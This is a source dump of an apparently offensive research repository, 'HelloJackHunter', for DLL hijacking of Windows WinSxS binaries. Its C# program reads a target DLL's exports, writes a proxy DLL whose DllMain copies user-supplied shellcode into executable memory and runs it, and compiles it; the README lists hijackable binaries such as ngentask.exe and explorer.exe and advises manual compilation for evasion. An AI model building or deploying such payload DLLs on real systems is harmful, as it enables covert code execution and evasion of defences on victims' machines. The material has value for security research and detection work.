├── .github └── CODEOWNERS ├── .gitignore ├── CODEOWNERS ├── HelloJackHunter.sln ├── HelloJackHunter ├── App.config ├── HelloJackHunter.csproj ├── Program.cs └── Properties │ └── AssemblyInfo.cs ├── PowerShell └── Checker.ps1 ├── README.md ├── VulnerableBins └── ngentask │ └── mscorsvc.dll.example.txt └── WinSxSBins.txt /.github/CODEOWNERS: -------------------------------------------------------------------------------- 1 | * @zephrfish 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Binary Builds 2 | HelloJackHunter/bin/Release/* 3 | HelloJackHunter/bin/* 4 | HelloJackHunter/obj/* 5 | *.cache 6 | *.dll 7 | PowerShell/HiJackChecker.ps1 8 | PowerShell/MyConfig.pmc 9 | PowerShell/ProcMonAutomation.ps1 10 | .vs/* -------------------------------------------------------------------------------- /CODEOWNERS: -------------------------------------------------------------------------------- 1 | * @zephrfish 2 | -------------------------------------------------------------------------------- /HelloJackHunter.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.7.34221.43 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HelloJackHunter", "HelloJackHunter\HelloJackHunter.csproj", "{40C8DE5E-A021-475E-8405-E11949A5FF19}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {40C8DE5E-A021-475E-8405-E11949A5FF19}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {40C8DE5E-A021-475E-8405-E11949A5FF19}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {40C8DE5E-A021-475E-8405-E11949A5FF19}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {40C8DE5E-A021-475E-8405-E11949A5FF19}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {57313801-FDF3-423A-BAB3-27546E67D286} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /HelloJackHunter/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /HelloJackHunter/HelloJackHunter.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {40C8DE5E-A021-475E-8405-E11949A5FF19} 8 | Exe 9 | HelloJackHunter 10 | HelloJackHunter 11 | v4.5.1 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | AnyCPU 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /HelloJackHunter/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Text.RegularExpressions; 8 | 9 | namespace HelloJackHunter 10 | { 11 | class Program 12 | { 13 | static void Main(string[] args) 14 | { 15 | if (args.Length < 3) 16 | { 17 | Console.WriteLine("Usage: HelloJackHunter.exe "); 18 | return; 19 | } 20 | 21 | string inputPath = Path.GetFullPath(args[0]); 22 | string outputPath = Path.GetFullPath(args[1]); 23 | string shellcodePath = Path.GetFullPath(args[2]); 24 | 25 | if (!Directory.Exists(outputPath)) 26 | { 27 | Directory.CreateDirectory(outputPath); 28 | Console.WriteLine($"[INFO] Created output directory: {outputPath}"); 29 | } 30 | 31 | string shellcodeHex = LoadShellcode(shellcodePath); 32 | 33 | if (File.Exists(inputPath)) 34 | { 35 | ProcessDll(Path.GetFullPath(inputPath), outputPath, shellcodeHex); 36 | } 37 | else if (Directory.Exists(inputPath)) 38 | { 39 | foreach (string file in Directory.GetFiles(inputPath, "*.dll")) 40 | { 41 | ProcessDll(file, outputPath, shellcodeHex); 42 | } 43 | } 44 | else 45 | { 46 | Console.WriteLine("Invalid path."); 47 | } 48 | } 49 | 50 | static void ProcessDll(string dllPath, string outputPath, string shellcodeHex) 51 | { 52 | dllPath = Path.GetFullPath(dllPath); 53 | Console.WriteLine($"[DEBUG] Processing DLL: {dllPath}"); 54 | Console.WriteLine($"[DEBUG] Output Path: {outputPath}"); 55 | 56 | if (!File.Exists(dllPath)) 57 | { 58 | Console.WriteLine($"[ERROR] File not found: {dllPath}"); 59 | return; 60 | } 61 | 62 | string outputFileName = Path.Combine(outputPath, Path.GetFileNameWithoutExtension(dllPath) + ".cpp"); 63 | StringBuilder sb = new StringBuilder(); 64 | 65 | sb.AppendLine("#include "); 66 | sb.AppendLine("#include "); 67 | sb.AppendLine("#include "); 68 | sb.AppendLine("#include "); 69 | sb.AppendLine("#include \"pch.h\""); 70 | sb.AppendLine(); 71 | 72 | try 73 | { 74 | string dumpbinOutput = CallDumpbin(dllPath); 75 | if (string.IsNullOrWhiteSpace(dumpbinOutput)) 76 | { 77 | Console.WriteLine("[ERROR] dumpbin returned no output. Possible failure."); 78 | return; 79 | } 80 | 81 | var exportedFunctions = ParseExportedFunctions(dumpbinOutput); 82 | Console.WriteLine($"[DEBUG] Found {exportedFunctions.Count} exported functions."); 83 | 84 | foreach (string functionName in exportedFunctions) 85 | { 86 | string cppTemplate = GenerateCppTemplate(functionName); 87 | sb.AppendLine(cppTemplate); 88 | } 89 | 90 | sb.AppendLine(GenerateDllMainTemplate(shellcodeHex)); 91 | 92 | File.WriteAllText(outputFileName, sb.ToString()); 93 | Console.WriteLine($"[INFO] Generated C++ file: {outputFileName}"); 94 | 95 | CompileToDll(outputFileName); 96 | } 97 | catch (Exception ex) 98 | { 99 | Console.WriteLine($"[FATAL] Error processing {dllPath}: {ex.Message}"); 100 | } 101 | } 102 | 103 | static string LocateCompiler() 104 | { 105 | string vswhere = @"C:\Program Files (x86)\Microsoft Visual Studio\Installer\vswhere.exe"; 106 | if (!File.Exists(vswhere)) return null; 107 | 108 | ProcessStartInfo psi = new ProcessStartInfo 109 | { 110 | FileName = vswhere, 111 | Arguments = "-latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath", 112 | RedirectStandardOutput = true, 113 | UseShellExecute = false 114 | }; 115 | 116 | using (Process p = Process.Start(psi)) 117 | { 118 | string installPath = p.StandardOutput.ReadLine()?.Trim(); 119 | if (!string.IsNullOrWhiteSpace(installPath)) 120 | { 121 | string basePath = Path.Combine(installPath, @"VC\Tools\MSVC"); 122 | if (Directory.Exists(basePath)) 123 | { 124 | string[] versions = Directory.GetDirectories(basePath); 125 | if (versions.Length > 0) 126 | { 127 | string latest = versions.OrderByDescending(v => v).First(); 128 | return Path.Combine(latest, @"bin\Hostx64\x64\cl.exe"); 129 | } 130 | } 131 | } 132 | } 133 | 134 | return null; 135 | } 136 | 137 | static string LocateVcvars64() 138 | { 139 | string vswhere = @"C:\Program Files (x86)\Microsoft Visual Studio\Installer\vswhere.exe"; 140 | if (!File.Exists(vswhere)) return null; 141 | 142 | ProcessStartInfo psi = new ProcessStartInfo 143 | { 144 | FileName = vswhere, 145 | Arguments = "-latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath", 146 | RedirectStandardOutput = true, 147 | UseShellExecute = false 148 | }; 149 | 150 | using (Process p = Process.Start(psi)) 151 | { 152 | string installPath = p.StandardOutput.ReadLine()?.Trim(); 153 | if (!string.IsNullOrWhiteSpace(installPath)) 154 | { 155 | string vcvarsPath = Path.Combine(installPath, @"VC\Auxiliary\Build\vcvars64.bat"); 156 | if (File.Exists(vcvarsPath)) 157 | return vcvarsPath; 158 | } 159 | } 160 | 161 | return null; 162 | } 163 | 164 | static string LocateDumpbin() 165 | { 166 | string vswhere = @"C:\Program Files (x86)\Microsoft Visual Studio\Installer\vswhere.exe"; 167 | if (!File.Exists(vswhere)) return null; 168 | 169 | ProcessStartInfo psi = new ProcessStartInfo 170 | { 171 | FileName = vswhere, 172 | Arguments = "-latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath", 173 | RedirectStandardOutput = true, 174 | UseShellExecute = false 175 | }; 176 | 177 | using (Process p = Process.Start(psi)) 178 | { 179 | string installPath = p.StandardOutput.ReadLine()?.Trim(); 180 | if (!string.IsNullOrWhiteSpace(installPath)) 181 | { 182 | string candidate = Path.Combine(installPath, @"VC\Tools\MSVC"); 183 | if (Directory.Exists(candidate)) 184 | { 185 | string[] versions = Directory.GetDirectories(candidate); 186 | if (versions.Length > 0) 187 | { 188 | string latest = versions[0]; 189 | return Path.Combine(latest, @"bin\Hostx64\x64\dumpbin.exe"); 190 | } 191 | } 192 | } 193 | } 194 | 195 | return null; 196 | } 197 | 198 | static string CallDumpbin(string dllPath) 199 | { 200 | string dumpbinPath = LocateDumpbin(); 201 | 202 | if (string.IsNullOrWhiteSpace(dumpbinPath) || !File.Exists(dumpbinPath)) 203 | { 204 | Console.WriteLine($"[ERROR] dumpbin not found. Make sure Visual Studio with C++ tools is installed."); 205 | return null; 206 | } 207 | 208 | Console.WriteLine($"[DEBUG] Running dumpbin: \"{dumpbinPath}\" /exports \"{dllPath}\""); 209 | 210 | ProcessStartInfo startInfo = new ProcessStartInfo 211 | { 212 | FileName = dumpbinPath, 213 | Arguments = $"/exports \"{dllPath}\"", 214 | RedirectStandardOutput = true, 215 | RedirectStandardError = true, 216 | UseShellExecute = false, 217 | CreateNoWindow = true 218 | }; 219 | 220 | using (Process process = Process.Start(startInfo)) 221 | { 222 | string output = process.StandardOutput.ReadToEnd(); 223 | string error = process.StandardError.ReadToEnd(); 224 | 225 | if (!string.IsNullOrEmpty(error)) 226 | { 227 | Console.WriteLine($"[DEBUG] dumpbin stderr: {error}"); 228 | } 229 | 230 | return output; 231 | } 232 | } 233 | 234 | static HashSet ParseExportedFunctions(string dumpbinOutput) 235 | { 236 | HashSet functions = new HashSet(); 237 | string[] lines = dumpbinOutput.Split('\n'); 238 | bool exportsStart = false; 239 | 240 | foreach (string line in lines) 241 | { 242 | if (line.Contains("ordinal hint RVA name")) 243 | { 244 | exportsStart = true; 245 | continue; 246 | } 247 | 248 | if (exportsStart) 249 | { 250 | Match match = Regex.Match(line, @"\s*\d+\s+\d+\s+[A-F0-9]+\s+(\S+)"); 251 | if (match.Success) 252 | { 253 | functions.Add(match.Groups[1].Value); 254 | } 255 | } 256 | } 257 | 258 | return functions; 259 | } 260 | 261 | static string LoadShellcode(string shellcodePath) 262 | { 263 | byte[] bytes = File.ReadAllBytes(shellcodePath); 264 | StringBuilder sb = new StringBuilder("unsigned char shellcode[] = {"); 265 | 266 | for (int i = 0; i < bytes.Length; i++) 267 | { 268 | sb.Append($"0x{bytes[i]:X2}"); 269 | if (i < bytes.Length - 1) sb.Append(", "); 270 | } 271 | 272 | sb.Append("};"); 273 | return sb.ToString(); 274 | } 275 | 276 | static string GenerateCppTemplate(string functionName) 277 | { 278 | return $@" 279 | extern ""C"" {{ 280 | __declspec(dllexport) void {functionName}() {{ 281 | // Stub for exported function: {functionName} 282 | return; 283 | }} 284 | }}"; 285 | } 286 | 287 | static string GenerateDllMainTemplate(string shellcode) 288 | { 289 | return $@" 290 | {shellcode} 291 | DWORD WINAPI RunShellcode(LPVOID lpParameter) 292 | {{ 293 | void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); 294 | if (!exec) return 1; 295 | memcpy(exec, shellcode, sizeof(shellcode)); 296 | ((void(*)())exec)(); 297 | return 0; 298 | }} 299 | 300 | BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) 301 | {{ 302 | switch (ul_reason_for_call) 303 | {{ 304 | case DLL_PROCESS_ATTACH: 305 | CreateThread(NULL, 0, RunShellcode, NULL, 0, NULL); 306 | break; 307 | case DLL_THREAD_ATTACH: 308 | case DLL_THREAD_DETACH: 309 | case DLL_PROCESS_DETACH: 310 | break; 311 | }} 312 | return TRUE; 313 | }}"; 314 | } 315 | 316 | static void CompileToDll(string cppFileName) 317 | { 318 | string compilerPath = LocateCompiler(); 319 | if (string.IsNullOrWhiteSpace(compilerPath) || !File.Exists(compilerPath)) 320 | { 321 | Console.WriteLine($"[ERROR] Compiler not found. Make sure cl.exe is installed via Visual Studio."); 322 | return; 323 | } 324 | 325 | string vcvarsPath = LocateVcvars64(); 326 | if (string.IsNullOrWhiteSpace(vcvarsPath) || !File.Exists(vcvarsPath)) 327 | { 328 | Console.WriteLine($"[ERROR] Could not locate vcvars64.bat — is Visual Studio fully installed?"); 329 | return; 330 | } 331 | 332 | string outputDllName = Path.ChangeExtension(cppFileName, ".dll"); 333 | string outputDir = Path.GetDirectoryName(cppFileName); 334 | string objFile = Path.Combine(outputDir, Path.GetFileNameWithoutExtension(cppFileName) + ".obj"); 335 | string args = $"/nologo /LD /O2 /MT /DNDEBUG /GS- /Gw /GF \"{cppFileName}\" /Fe\"{outputDllName}\" /Fo\"{objFile}\" /link /OPT:REF /OPT:ICF"; 336 | string envDumpCmd = $"\"{vcvarsPath}\" && set"; 337 | 338 | Dictionary envVars = new Dictionary(); 339 | ProcessStartInfo envStart = new ProcessStartInfo 340 | { 341 | FileName = "cmd.exe", 342 | Arguments = $"/c {envDumpCmd}", 343 | RedirectStandardOutput = true, 344 | UseShellExecute = false, 345 | CreateNoWindow = true 346 | }; 347 | 348 | using (Process proc = Process.Start(envStart)) 349 | { 350 | string line; 351 | while ((line = proc.StandardOutput.ReadLine()) != null) 352 | { 353 | int idx = line.IndexOf('='); 354 | if (idx > 0) 355 | { 356 | string key = line.Substring(0, idx); 357 | string value = line.Substring(idx + 1); 358 | envVars[key] = value; 359 | } 360 | } 361 | } 362 | 363 | ProcessStartInfo compileStart = new ProcessStartInfo 364 | { 365 | FileName = compilerPath, 366 | Arguments = args, 367 | RedirectStandardOutput = true, 368 | RedirectStandardError = true, 369 | UseShellExecute = false, 370 | CreateNoWindow = true 371 | }; 372 | 373 | foreach (var kvp in envVars) 374 | { 375 | compileStart.Environment[kvp.Key] = kvp.Value; 376 | } 377 | 378 | try 379 | { 380 | using (Process process = Process.Start(compileStart)) 381 | { 382 | string output = process.StandardOutput.ReadToEnd(); 383 | string error = process.StandardError.ReadToEnd(); 384 | 385 | Console.WriteLine(output); 386 | if (!string.IsNullOrEmpty(error)) 387 | { 388 | Console.WriteLine($"[cl.exe stderr] {error}"); 389 | } 390 | } 391 | 392 | Console.WriteLine($"[INFO] Compiled DLL: {outputDllName}"); 393 | Console.WriteLine($"[INFO] Suggestion is to compile manually with Visual Studio!"); 394 | } 395 | catch (Exception ex) 396 | { 397 | Console.WriteLine($"[ERROR] Error compiling {cppFileName}: {ex.Message}"); 398 | } 399 | } 400 | } 401 | } 402 | -------------------------------------------------------------------------------- /HelloJackHunter/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("HelloJackHunter")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("HelloJackHunter")] 13 | [assembly: AssemblyCopyright("Copyright © 2024")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("40c8de5e-a021-475e-8405-e11949a5ff19")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /PowerShell/Checker.ps1: -------------------------------------------------------------------------------- 1 | # PowerShell script to execute a list of executables from a text file in the background, log the execution, and attempt to abort unexpected shutdowns 2 | 3 | $filePath = "C:\Users\User\Desktop\DLLResearch\WinSxSBins.txt" 4 | $logPath = Join-Path (Split-Path -Parent $filePath) "execution_log.txt" 5 | 6 | if (-Not (Test-Path $filePath)) { 7 | $errorMessage = "File not found: $filePath" 8 | Write-Error $errorMessage 9 | Add-Content -Path $logPath -Value $errorMessage 10 | exit 11 | } 12 | 13 | function Abort-Shutdown { 14 | Start-Process "shutdown" -ArgumentList "/a" -NoNewWindow 15 | } 16 | 17 | Get-Content $filePath | ForEach-Object { 18 | $exePath = $_.Trim() 19 | $logEntry = "" 20 | 21 | if (Test-Path $exePath) { 22 | try { 23 | Abort-Shutdown 24 | 25 | Start-Process -FilePath $exePath -NoNewWindow -PassThru 26 | $logEntry = "$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss'): Started in background: $exePath" 27 | } catch { 28 | $logEntry = "$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss'): Failed to start: $exePath. Error: $_" 29 | } 30 | } else { 31 | $logEntry = "$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss'): Executable not found: $exePath" 32 | } 33 | 34 | Write-Host $logEntry 35 | Add-Content -Path $logPath -Value $logEntry 36 | } 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HelloJackHunter 2 | 3 | Some research into WinSxS binaries and finding hijackable paths, more information on the workflow can be found on the [blog post here](https://blog.zsec.uk/hellojackhunter-exploring-winsxs/). 4 | 5 | ## Workflow 6 | 1. Hunt out binaries in WinSxS 7 | 2. Map out DLLs being called from $currentdir 8 | 3. Run HelloJackHunter and point it in a for loop at the DLLs 9 | 10 | ## Usage 11 | To execute the binary simply download the sln file, compile it then run: 12 | 13 | `Usage: HelloJackHunter.exe ` 14 | 15 | It'll pull in the shellcode of choice and auto compile however it is advised to manually compile with VS for better evasion. 16 | 17 | ## Known Vulnerable Binaries; 18 | | Binary Name | Path | DLL Name / Path | 19 | | -----------|------|------------------| 20 | |ngentask.exe|C:\Windows\WinSxS\amd64_netfx4-ngentask_exe_b03f5f7f11d50a3a_4.0.15912.0_none_d5e7146d665097c0\ngentask.exe|mscorsvc.dll| 21 | |explorer.exe|C:\Windows\WinSxS\amd64_microsoft-windows-explorer_31bf3856ad364e35_10.0.22621.3235_none_31b295f9f540d278\explorer.exe|cscapi.dll| 22 | |aspnet_wp.exe|C:\Windows\WinSxS\amd64_netfx4-aspnet_wp_exe_b03f5f7f11d50a3a_4.0.15912.0_none_107a08446d17dcf2\aspnet_wp.exe|webengine.dll, webengine4.dll| 23 | |aspnet_regiis.exe| c:\Windows\WinSxS\amd64_netfx4-aspnet_regiis_exe_b03f5f7f11d50a3a_4.0.15912.0_none_833013222f03235e\aspnet_regiis.exe|webengine4.dll| 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /VulnerableBins/ngentask/mscorsvc.dll.example.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZephrFish/HelloJackHunter/3093b18f10691beafd7fdebebc56486c73437d3d/VulnerableBins/ngentask/mscorsvc.dll.example.txt --------------------------------------------------------------------------------